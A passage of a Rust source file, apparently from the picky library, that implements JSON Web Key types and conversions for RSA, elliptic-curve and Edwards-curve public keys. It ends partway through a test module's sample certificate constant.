use base64::engine::general_purpose;
|
||||||
|
use base64::{DecodeError, Engine as _};
|
||||||
|
use crypto_bigint::BoxedUint;
|
||||||
|
use picky_asn1::wrapper::IntegerAsn1;
|
||||||
|
use picky_asn1_x509::SubjectPublicKeyInfo;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use thiserror::Error;
|
||||||
|
|
||||||
|
// === error type === //
|
||||||
|
|
||||||
|
#[derive(Debug, Error)]
|
||||||
|
pub enum JwkError {
|
||||||
|
/// Json error
|
||||||
|
#[error("JSON error: {source}")]
|
||||||
|
Json { source: serde_json::Error },
|
||||||
|
|
||||||
|
/// couldn't decode base64
|
||||||
|
#[error("couldn't decode base64: {source}")]
|
||||||
|
Base64Decoding { source: DecodeError },
|
||||||
|
|
||||||
|
/// unsupported algorithm
|
||||||
|
#[error("unsupported algorithm: {algorithm}")]
|
||||||
|
UnsupportedAlgorithm { algorithm: &'static str },
|
||||||
|
|
||||||
|
#[error("invalid ec public key: {cause}")]
|
||||||
|
InvalidEcPublicKey { cause: String },
|
||||||
|
|
||||||
|
#[error("invalid ec point coordinates in JWK")]
|
||||||
|
InvalidEcPointCoordinates,
|
||||||
|
|
||||||
|
#[error("invalid ed public key: {cause}")]
|
||||||
|
InvalidEdPublicKey { cause: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<serde_json::Error> for JwkError {
|
||||||
|
fn from(e: serde_json::Error) -> Self {
|
||||||
|
Self::Json { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<DecodeError> for JwkError {
|
||||||
|
fn from(e: DecodeError) -> Self {
|
||||||
|
Self::Base64Decoding { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === key type === //
|
||||||
|
|
||||||
|
/// Algorithm type for JWK
|
||||||
|
///
|
||||||
|
/// See [RFC7518 #6](https://tools.ietf.org/html/rfc7518#section-6.1)
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
#[serde(tag = "kty")]
|
||||||
|
pub enum JwkKeyType {
|
||||||
|
/// Edwards curve-based cryptography
|
||||||
|
///
|
||||||
|
/// Defined by separate [RFC 8037](https://www.rfc-editor.org/rfc/rfc8037)
|
||||||
|
#[serde(rename = "OKP")]
|
||||||
|
Ed(JwkPublicEdKey),
|
||||||
|
/// Elliptic Curve
|
||||||
|
///
|
||||||
|
/// Recommended+ by RFC
|
||||||
|
#[serde(rename = "EC")]
|
||||||
|
Ec(JwkPublicEcKey),
|
||||||
|
/// Elliptic Curve
|
||||||
|
///
|
||||||
|
/// Required by RFC
|
||||||
|
#[serde(rename = "RSA")]
|
||||||
|
Rsa(JwkPublicRsaKey),
|
||||||
|
/// Octet sequence (used to represent symmetric keys) (unsupported)
|
||||||
|
///
|
||||||
|
/// Required by RFC
|
||||||
|
#[serde(rename = "oct")]
|
||||||
|
Oct,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwkKeyType {
|
||||||
|
/// Build a JWK key from RSA components.
|
||||||
|
///
|
||||||
|
/// Each argument is the unsigned big-endian representation as an octet sequence of the value.
|
||||||
|
/// If a signed representation is provided, leading zero is removed for any number bigger than 0x7F.
|
||||||
|
pub fn new_rsa_key(modulus: &[u8], public_exponent: &[u8]) -> Self {
|
||||||
|
let modulus = h_strip_unrequired_leading_zero(modulus);
|
||||||
|
let public_exponent = h_strip_unrequired_leading_zero(public_exponent);
|
||||||
|
Self::Rsa(JwkPublicRsaKey {
|
||||||
|
n: general_purpose::URL_SAFE_NO_PAD.encode(modulus),
|
||||||
|
e: general_purpose::URL_SAFE_NO_PAD.encode(public_exponent),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Build a JWK key from EC components.
|
||||||
|
///
|
||||||
|
/// `x` and `y` are big-endian representation of the affine point coordinates.
|
||||||
|
pub fn new_ec_key(curve: JwkEcPublicKeyCurve, x: &[u8], y: &[u8]) -> Self {
|
||||||
|
let x = h_strip_unrequired_leading_zero(x);
|
||||||
|
let y = h_strip_unrequired_leading_zero(y);
|
||||||
|
Self::Ec(JwkPublicEcKey {
|
||||||
|
crv: curve,
|
||||||
|
x: general_purpose::URL_SAFE_NO_PAD.encode(x),
|
||||||
|
y: general_purpose::URL_SAFE_NO_PAD.encode(y),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Build a JWK key from Edwards curve components.
|
||||||
|
///
|
||||||
|
/// `crv` is ed-based algorithm name.
|
||||||
|
/// `x` is raw public key bytes.
|
||||||
|
pub fn new_ed_key(crv: JwkEdPublicKeyAlgorithm, x: &[u8]) -> Self {
|
||||||
|
Self::Ed(JwkPublicEdKey {
|
||||||
|
crv,
|
||||||
|
x: general_purpose::URL_SAFE_NO_PAD.encode(x),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Build a JWK key from RSA components already encoded following base64 url format.
|
||||||
|
///
|
||||||
|
/// Each argument is the unsigned big-endian representation as an octet sequence of the value.
|
||||||
|
/// The octet sequence MUST utilize the minimum number of octets needed to represent the value.
|
||||||
|
/// That is: **no leading zero** must be present.
|
||||||
|
///
|
||||||
|
/// See definition for term `Base64urlUInt` in [RFC7518 section 2](https://datatracker.ietf.org/doc/html/rfc7518#section-2)
|
||||||
|
pub fn new_rsa_key_from_base64_url(modulus: String, public_exponent: String) -> Self {
|
||||||
|
Self::Rsa(JwkPublicRsaKey {
|
||||||
|
n: modulus,
|
||||||
|
e: public_exponent,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn as_rsa(&self) -> Option<&JwkPublicRsaKey> {
|
||||||
|
match self {
|
||||||
|
JwkKeyType::Rsa(rsa) => Some(rsa),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn as_ec(&self) -> Option<&JwkPublicEcKey> {
|
||||||
|
match self {
|
||||||
|
JwkKeyType::Ec(ec) => Some(ec),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn as_ed(&self) -> Option<&JwkPublicEdKey> {
|
||||||
|
match self {
|
||||||
|
JwkKeyType::Ed(ed) => Some(ed),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_rsa(&self) -> bool {
|
||||||
|
self.as_rsa().is_some()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_ec(&self) -> bool {
|
||||||
|
self.as_ec().is_some()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_ed(&self) -> bool {
|
||||||
|
self.as_ed().is_some()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Strips leading zero for any number bigger than 0x7F.
|
||||||
|
fn h_strip_unrequired_leading_zero(value: &[u8]) -> &[u8] {
|
||||||
|
if let [0x00, rest @ ..] = value { rest } else { value }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Big integers from 0x00 to 0x7F are all base64-encoded using two ASCII characters ranging from "AA" to "fw".
|
||||||
|
/// We know the required capacity is _exactly_ of one byte.
|
||||||
|
/// The value 0 is valid and is represented as the array [0x00] ("AA").
|
||||||
|
/// For numbers greater than 0x7F, logic is a bit more complex.
|
||||||
|
/// There is no leading zero in JWK keys because _unsigned_ numbers are used.
|
||||||
|
/// As such, there is no need to disambiguate the high-order bit (0x80)
|
||||||
|
/// which is used as the sign bit for _signed_ numbers.
|
||||||
|
/// The high-order bit is set when base64 encoding's leading character matches [g-z0-9_-].
|
||||||
|
fn h_allocate_signed_big_int_buffer(base64_url_encoding: &str) -> Vec<u8> {
|
||||||
|
match base64_url_encoding.chars().next() {
|
||||||
|
// The leading zero is re-introduced for any number whose high-order bit is set
|
||||||
|
Some('g'..='z' | '0'..='9' | '_' | '-') => vec![0],
|
||||||
|
// Otherwise, there is nothing more to do
|
||||||
|
_ => Vec::with_capacity(1),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === public key use === //
|
||||||
|
|
||||||
|
/// Public Key Use, identifies the intended use of the public key.
|
||||||
|
///
|
||||||
|
/// See [RFC7517 #4](https://tools.ietf.org/html/rfc7517#section-4.2)
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub enum JwkPubKeyUse {
|
||||||
|
#[serde(rename = "sig")]
|
||||||
|
Signature,
|
||||||
|
#[serde(rename = "enc")]
|
||||||
|
Encryption,
|
||||||
|
}
|
||||||
|
|
||||||
|
// === key operations === //
|
||||||
|
|
||||||
|
/// Key Operations, identifies the operation(s) for which the key is intended to be used.
|
||||||
|
///
|
||||||
|
/// See [RFC7517 #4](https://tools.ietf.org/html/rfc7517#section-4.3)
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub enum JwkKeyOps {
|
||||||
|
#[serde(rename = "sign")]
|
||||||
|
Sign,
|
||||||
|
#[serde(rename = "verify")]
|
||||||
|
Verify,
|
||||||
|
#[serde(rename = "encrypt")]
|
||||||
|
Encrypt,
|
||||||
|
#[serde(rename = "decrypt")]
|
||||||
|
Decrypt,
|
||||||
|
#[serde(rename = "wrapKey")]
|
||||||
|
WrapKey,
|
||||||
|
#[serde(rename = "unwrapKey")]
|
||||||
|
UnwrapKey,
|
||||||
|
#[serde(rename = "deriveKey")]
|
||||||
|
DeriveKey,
|
||||||
|
#[serde(rename = "deriveBits")]
|
||||||
|
DeriveBits,
|
||||||
|
}
|
||||||
|
|
||||||
|
// === algorithms === //
|
||||||
|
|
||||||
|
/// JOSE algorithms names as defined by [RFC7518](https://tools.ietf.org/html/rfc7518)
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
#[serde(untagged)]
|
||||||
|
pub enum Jwa {
|
||||||
|
Sig(JwsAlg),
|
||||||
|
Enc(JweEnc),
|
||||||
|
CEKAlg(JweAlg),
|
||||||
|
}
|
||||||
|
|
||||||
|
// === json web key === //
|
||||||
|
|
||||||
|
/// Represents a cryptographic key as defined by [RFC7517](https://tools.ietf.org/html/rfc7517).
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub struct Jwk {
|
||||||
|
// -- specific to JWK -- //
|
||||||
|
#[serde(flatten)]
|
||||||
|
pub key: JwkKeyType,
|
||||||
|
|
||||||
|
/// Identifies the algorithm intended for use with the key.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub alg: Option<Jwa>,
|
||||||
|
|
||||||
|
/// Public Key Use
|
||||||
|
///
|
||||||
|
/// Intended use of the public key.
|
||||||
|
#[serde(rename = "use", skip_serializing_if = "Option::is_none")]
|
||||||
|
pub key_use: Option<JwkPubKeyUse>,
|
||||||
|
|
||||||
|
/// Key Operations
|
||||||
|
///
|
||||||
|
/// identifies the operation(s) for which the key is intended to be used.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub key_ops: Option<Vec<JwkKeyOps>>,
|
||||||
|
|
||||||
|
// -- common with all -- //
|
||||||
|
/// Key ID Header
|
||||||
|
///
|
||||||
|
/// A hint indicating which key was used.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub kid: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 URL Header
|
||||||
|
///
|
||||||
|
/// URI that refers to a resource for an X.509 public key certificate or certificate chain.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5u: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 Certificate Chain
|
||||||
|
///
|
||||||
|
/// Chain of one or more PKIX certificates.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5c: Option<Vec<String>>,
|
||||||
|
|
||||||
|
/// X.509 Certificate SHA-1 Thumbprint
|
||||||
|
///
|
||||||
|
/// base64url-encoded SHA-1 thumbprint (a.k.a. digest) of the DER encoding of an X.509 certificate.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5t: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 Certificate SHA-256 Thumbprint
|
||||||
|
///
|
||||||
|
/// base64url-encoded SHA-256 thumbprint (a.k.a. digest) of the DER encoding of an X.509 certificate.
|
||||||
|
#[serde(rename = "x5t#S256", alias = "x5t#s256", skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5t_s256: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Jwk {
|
||||||
|
pub fn new(key: JwkKeyType) -> Self {
|
||||||
|
Jwk {
|
||||||
|
key,
|
||||||
|
alg: None,
|
||||||
|
key_use: None,
|
||||||
|
key_ops: None,
|
||||||
|
kid: None,
|
||||||
|
x5u: None,
|
||||||
|
x5c: None,
|
||||||
|
x5t: None,
|
||||||
|
x5t_s256: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn from_json(json: &str) -> Result<Self, JwkError> {
|
||||||
|
Ok(serde_json::from_str(json)?)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn from_public_key(public_key: &PublicKey) -> Result<Self, JwkError> {
|
||||||
|
use picky_asn1::wrapper::BitStringAsn1Container;
|
||||||
|
use picky_asn1_x509::PublicKey as SerdePublicKey;
|
||||||
|
|
||||||
|
match &public_key.as_inner().subject_public_key {
|
||||||
|
SerdePublicKey::Rsa(BitStringAsn1Container(rsa)) => {
|
||||||
|
let modulus = rsa.modulus.as_signed_bytes_be();
|
||||||
|
let public_exponent = rsa.public_exponent.as_signed_bytes_be();
|
||||||
|
Ok(Self::new(JwkKeyType::new_rsa_key(modulus, public_exponent)))
|
||||||
|
}
|
||||||
|
SerdePublicKey::Ec(_) => {
|
||||||
|
let ec_key = EcdsaPublicKey::try_from(public_key)
|
||||||
|
.map_err(|e| JwkError::InvalidEcPublicKey { cause: e.to_string() })?;
|
||||||
|
|
||||||
|
match ec_key.curve() {
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP256) => {
|
||||||
|
let point = p256::Sec1Point::from_bytes(ec_key.encoded_point()).map_err(|_| {
|
||||||
|
JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "invalid P-256 EC point encoding".to_string(),
|
||||||
|
}
|
||||||
|
})?;
|
||||||
|
|
||||||
|
match (point.x(), point.y()) {
|
||||||
|
(Some(x), Some(y)) => Ok(Self::new(JwkKeyType::new_ec_key(
|
||||||
|
JwkEcPublicKeyCurve::P256,
|
||||||
|
x.as_slice(),
|
||||||
|
y.as_slice(),
|
||||||
|
))),
|
||||||
|
_ => Err(JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "Invalid P-256 curve EC public point coordinates".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP384) => {
|
||||||
|
let point = p384::Sec1Point::from_bytes(ec_key.encoded_point()).map_err(|_| {
|
||||||
|
JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "invalid P-384 EC point encoding".to_string(),
|
||||||
|
}
|
||||||
|
})?;
|
||||||
|
|
||||||
|
match (point.x(), point.y()) {
|
||||||
|
(Some(x), Some(y)) => Ok(Self::new(JwkKeyType::new_ec_key(
|
||||||
|
JwkEcPublicKeyCurve::P384,
|
||||||
|
x.as_slice(),
|
||||||
|
y.as_slice(),
|
||||||
|
))),
|
||||||
|
_ => Err(JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "Invalid P-384 curve EC public point coordinates".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP521) => {
|
||||||
|
let point = p521::Sec1Point::from_bytes(ec_key.encoded_point()).map_err(|_| {
|
||||||
|
JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "invalid P-521 EC point encoding".to_string(),
|
||||||
|
}
|
||||||
|
})?;
|
||||||
|
|
||||||
|
match (point.x(), point.y()) {
|
||||||
|
(Some(x), Some(y)) => Ok(Self::new(JwkKeyType::new_ec_key(
|
||||||
|
JwkEcPublicKeyCurve::P521,
|
||||||
|
x.as_slice(),
|
||||||
|
y.as_slice(),
|
||||||
|
))),
|
||||||
|
_ => Err(JwkError::InvalidEcPublicKey {
|
||||||
|
cause: "Invalid P-521 curve EC public point coordinates".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NamedEcCurve::Unsupported(_) => Err(JwkError::UnsupportedAlgorithm {
|
||||||
|
algorithm: "Unsupported EC curve",
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
SerdePublicKey::Ed(_) => {
|
||||||
|
let ed_key = EdPublicKey::try_from(public_key)
|
||||||
|
.map_err(|e| JwkError::InvalidEdPublicKey { cause: e.to_string() })?;
|
||||||
|
|
||||||
|
let algorithm = match ed_key.algorithm() {
|
||||||
|
NamedEdAlgorithm::Known(EdAlgorithm::Ed25519) => JwkEdPublicKeyAlgorithm::Ed25519,
|
||||||
|
NamedEdAlgorithm::Known(EdAlgorithm::X25519) => JwkEdPublicKeyAlgorithm::X25519,
|
||||||
|
NamedEdAlgorithm::Unsupported(_) => {
|
||||||
|
return Err(JwkError::UnsupportedAlgorithm {
|
||||||
|
algorithm: "Unsupported ED algorithm",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(Self::new(JwkKeyType::new_ed_key(algorithm, ed_key.data())))
|
||||||
|
}
|
||||||
|
SerdePublicKey::Mldsa(_) => Err(JwkError::UnsupportedAlgorithm {
|
||||||
|
algorithm: "JWK unsupported with MLDSA keys",
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn to_json(&self) -> Result<String, JwkError> {
|
||||||
|
Ok(serde_json::to_string(self)?)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn to_json_pretty(&self) -> Result<String, JwkError> {
|
||||||
|
Ok(serde_json::to_string_pretty(self)?)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn to_public_key(&self) -> Result<PublicKey, JwkError> {
|
||||||
|
match &self.key {
|
||||||
|
JwkKeyType::Rsa(rsa) => {
|
||||||
|
let modulus = IntegerAsn1::from_bytes_be_signed(rsa.modulus_signed_bytes_be()?);
|
||||||
|
let public_exponent = IntegerAsn1::from_bytes_be_signed(rsa.public_exponent_signed_bytes_be()?);
|
||||||
|
let spki = SubjectPublicKeyInfo::new_rsa_key(modulus, public_exponent);
|
||||||
|
Ok(spki.into())
|
||||||
|
}
|
||||||
|
JwkKeyType::Ec(ec) => {
|
||||||
|
let curve = match ec.crv {
|
||||||
|
JwkEcPublicKeyCurve::P256 => EcCurve::NistP256,
|
||||||
|
JwkEcPublicKeyCurve::P384 => EcCurve::NistP384,
|
||||||
|
JwkEcPublicKeyCurve::P521 => EcCurve::NistP521,
|
||||||
|
};
|
||||||
|
|
||||||
|
let x = BoxedUint::from_be_slice_vartime(&ec.x_signed_bytes_be()?);
|
||||||
|
let y = BoxedUint::from_be_slice_vartime(&ec.y_signed_bytes_be()?);
|
||||||
|
|
||||||
|
PublicKey::from_ec_components(curve, &x, &y).map_err(|_| JwkError::InvalidEcPointCoordinates)
|
||||||
|
}
|
||||||
|
JwkKeyType::Ed(ed) => {
|
||||||
|
let algorithm = match ed.crv {
|
||||||
|
JwkEdPublicKeyAlgorithm::Ed25519 => Ok(EdAlgorithm::Ed25519),
|
||||||
|
JwkEdPublicKeyAlgorithm::X25519 => Ok(EdAlgorithm::X25519),
|
||||||
|
JwkEdPublicKeyAlgorithm::Ed448 => Err("ed448 algorithm"),
|
||||||
|
JwkEdPublicKeyAlgorithm::X448 => Err("x448 algorithm"),
|
||||||
|
}
|
||||||
|
.map_err(|algorithm| JwkError::UnsupportedAlgorithm { algorithm })?;
|
||||||
|
|
||||||
|
Ok(PublicKey::from_ed_encoded_components(
|
||||||
|
&algorithm.into(),
|
||||||
|
ed.public_key_bytes()?.as_ref(),
|
||||||
|
))
|
||||||
|
}
|
||||||
|
JwkKeyType::Oct => Err(JwkError::UnsupportedAlgorithm {
|
||||||
|
algorithm: "octet sequence",
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === jwk set === //
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub struct JwkSet {
|
||||||
|
pub keys: Vec<Jwk>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwkSet {
|
||||||
|
pub fn from_json(json: &str) -> Result<Self, JwkError> {
|
||||||
|
Ok(serde_json::from_str(json)?)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn to_json(&self) -> Result<String, JwkError> {
|
||||||
|
Ok(serde_json::to_string(self)?)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn to_json_pretty(&self) -> Result<String, JwkError> {
|
||||||
|
Ok(serde_json::to_string_pretty(self)?)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === public rsa key === //
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub struct JwkPublicRsaKey {
|
||||||
|
n: String,
|
||||||
|
e: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwkPublicRsaKey {
|
||||||
|
pub fn modulus_signed_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
let mut buf = h_allocate_signed_big_int_buffer(&self.n);
|
||||||
|
general_purpose::URL_SAFE_NO_PAD
|
||||||
|
.decode_vec(&self.n, &mut buf)
|
||||||
|
.map_err(JwkError::from)?;
|
||||||
|
Ok(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn modulus_unsigned_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
general_purpose::URL_SAFE_NO_PAD.decode(&self.n).map_err(JwkError::from)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn public_exponent_signed_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
let mut buf = h_allocate_signed_big_int_buffer(&self.e);
|
||||||
|
general_purpose::URL_SAFE_NO_PAD
|
||||||
|
.decode_vec(&self.e, &mut buf)
|
||||||
|
.map_err(JwkError::from)?;
|
||||||
|
Ok(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn public_exponent_unsigned_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
general_purpose::URL_SAFE_NO_PAD.decode(&self.e).map_err(JwkError::from)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The key type of a JWK defined in
|
||||||
|
/// [RFC 7518, section 6.1](https://tools.ietf.org/html/rfc7518#section-6.1).
|
||||||
|
///
|
||||||
|
/// Note that P521 is not supported yet for signning and verification.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub enum JwkEcPublicKeyCurve {
|
||||||
|
#[serde(rename = "P-256")]
|
||||||
|
P256,
|
||||||
|
#[serde(rename = "P-384")]
|
||||||
|
P384,
|
||||||
|
#[serde(rename = "P-521")]
|
||||||
|
P521,
|
||||||
|
}
|
||||||
|
|
||||||
|
// === public ec key === //
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub struct JwkPublicEcKey {
|
||||||
|
crv: JwkEcPublicKeyCurve,
|
||||||
|
x: String,
|
||||||
|
y: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwkPublicEcKey {
|
||||||
|
pub fn x_signed_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
let mut buf = h_allocate_signed_big_int_buffer(&self.x);
|
||||||
|
general_purpose::URL_SAFE_NO_PAD
|
||||||
|
.decode_vec(&self.x, &mut buf)
|
||||||
|
.map_err(JwkError::from)?;
|
||||||
|
Ok(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn y_signed_bytes_be(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
let mut buf = h_allocate_signed_big_int_buffer(&self.y);
|
||||||
|
general_purpose::URL_SAFE_NO_PAD
|
||||||
|
.decode_vec(&self.y, &mut buf)
|
||||||
|
.map_err(JwkError::from)?;
|
||||||
|
Ok(buf)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Defined in [RFC 8037](https://tools.ietf.org/html/rfc8037)
|
||||||
|
///
|
||||||
|
/// Note that X25519, Ed448 and X448 are not yet supported by picky for jws/jwe.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub enum JwkEdPublicKeyAlgorithm {
|
||||||
|
#[serde(rename = "Ed25519")]
|
||||||
|
Ed25519,
|
||||||
|
#[serde(rename = "Ed448")]
|
||||||
|
Ed448,
|
||||||
|
#[serde(rename = "X25519")]
|
||||||
|
X25519,
|
||||||
|
#[serde(rename = "X448")]
|
||||||
|
X448,
|
||||||
|
}
|
||||||
|
|
||||||
|
// === public ed key === //
|
||||||
|
|
||||||
|
/// Defined in [RFC 8037](https://tools.ietf.org/html/rfc8037)
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub struct JwkPublicEdKey {
|
||||||
|
/// NOTE: "crv" defines not exactly the curve but the algorithm.
|
||||||
|
crv: JwkEdPublicKeyAlgorithm,
|
||||||
|
/// In contrast to EC keys, the `x` coordinate is an octet string, not an encoded big integer.
|
||||||
|
x: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwkPublicEdKey {
|
||||||
|
pub fn public_key_bytes(&self) -> Result<Vec<u8>, JwkError> {
|
||||||
|
let mut buf = Vec::new();
|
||||||
|
general_purpose::URL_SAFE_NO_PAD
|
||||||
|
.decode_vec(&self.x, &mut buf)
|
||||||
|
.map_err(JwkError::from)?;
|
||||||
|
Ok(buf)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::jose::jws::JwsAlg;
|
||||||
|
use crate::pem::Pem;
|
||||||
|
use rstest::rstest;
|
||||||
|
|
||||||
|
const RSA_MODULUS: &str = "rpJjxW0nNZiq1mPC3ZAxqf9qNjmKurP7XuKrpWrfv3IOUldqChQVPNg8zCvDOMZIO-ZDuRmVH\
|
||||||
|
EZ5E1vz5auHNACnpl6AvDGJ-4qyX42vfUDMNZx8i86d7bQpwJkO_MVMLj8qMGmTVbQ8zqVw2z\
|
||||||
|
MyKUFfa2V83nvx2wz4FJh2Thw2uZX2P7h8nlDVSuXO0wJ_OY_2qtqRIAnNXMzL5BF5pEFh4hi\
|
||||||
|
JIFiMTNkhVtUjT1QSB9E8DtDme8g4u769Oc0My45fgqSNE7kKKyaDhTfqSovyhj-qWiD-X_Gw\
|
||||||
|
pWkW4ungpHzz_97-ZDB3yQ7AMwKAsw5EW2cMqseAp3f-kf159w";
|
||||||
|
|
||||||
|
const RSA_PUBLIC_EXPONENT: &str = "AQAB";
|
||||||
|
|
||||||
|
const X509_SHA1_THUMBPRINT: &str = "N3ORVnr9T6opxpS9iRbkKGwKiQI";
|
||||||
|
|
||||||
|
const X509_CERT_0: &str = "MIIDWjCCAkKgAwIBAgIUWRsBqKmpXGP/OwrwLWicwxhuCFowDQYJKoZIhvc\
|
||||||
|
NAQELBQAwKjEoMCYGA1UEAwwfbG9naW4uZGV2b2x1dGlvbnMuY29tIEF1dG\
|
||||||
|
hvcml0eTAeFw0xOTAzMTMxMzE1MzVaFw0yMDAzMTIxMzE1MzVaMCYxJDAiB\
|
||||||
|
gNVBAMMG2xvZ2luLmRldm9sdXRpb25zLmNvbSBUb2tlbjCCASIwDQYJKoZI\
|
||||||
|
hvcNAQEBBQADggEPADCCAQoCggEBAK6SY8VtJzWYqtZjwt2QMan/ajY5irq\
|
||||||
|
z+17iq6Vq379yDlJXagoUFTzYPMwrwzjGSDvmQ7kZlRxGeRNb8+WrhzQAp6\
|
||||||
|
ZegLwxifuKsl+Nr31AzDWcfIvOne20KcCZDvzFTC4/KjBpk1W0PM6lcNszM\
|
||||||
|
ilBX2tlfN578dsM+BSYdk4cNrmV9j+4fJ5Q1UrlztMCfzmP9qrakSAJzVzM\
|
||||||
|
y+QReaRBYeIYiSBYjEzZIVbVI09UEgfRPA7Q5nvIOLu+vTnNDMuOX4KkjRO\
|
||||||
|
5Cismg4U36kqL8oY/qlog/l/xsKVpFuLp4KR88//e/mQwd8kOwDMCgLMORF\
|
||||||
|
tnDKrHgKd3/pH9efcCAwEAAaN8MHowCQYDVR0TBAIwADAOBgNVHQ8BAf8EB\
|
||||||
|
AMCBeAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB0GA1UdDgQW\
|
||||||
|
BBQQW2Cx8HUpXfFM3B76WzBb/BhCBDAfBgNVHSMEGDAWgBRWAUlOiE4Z3ww\
|
||||||
|
aHgz284/sYB9NaDANBgkqhkiG9w0BAQsFAAOCAQEAkliCiJF9Z/Y57V6Rrn\
|
||||||
|
gHCBBWtqR+N/A+KHQqWxP2MmJiHVBBnZAueVPsvykO+EfbazNEkUoPVKhUd\
|
||||||
|
5NxEmTEMOBu9HUEzlmA5xDjl5xS7fejJIr7pgbxIup4m+DsNsPVnF1Snk56\
|
||||||
|
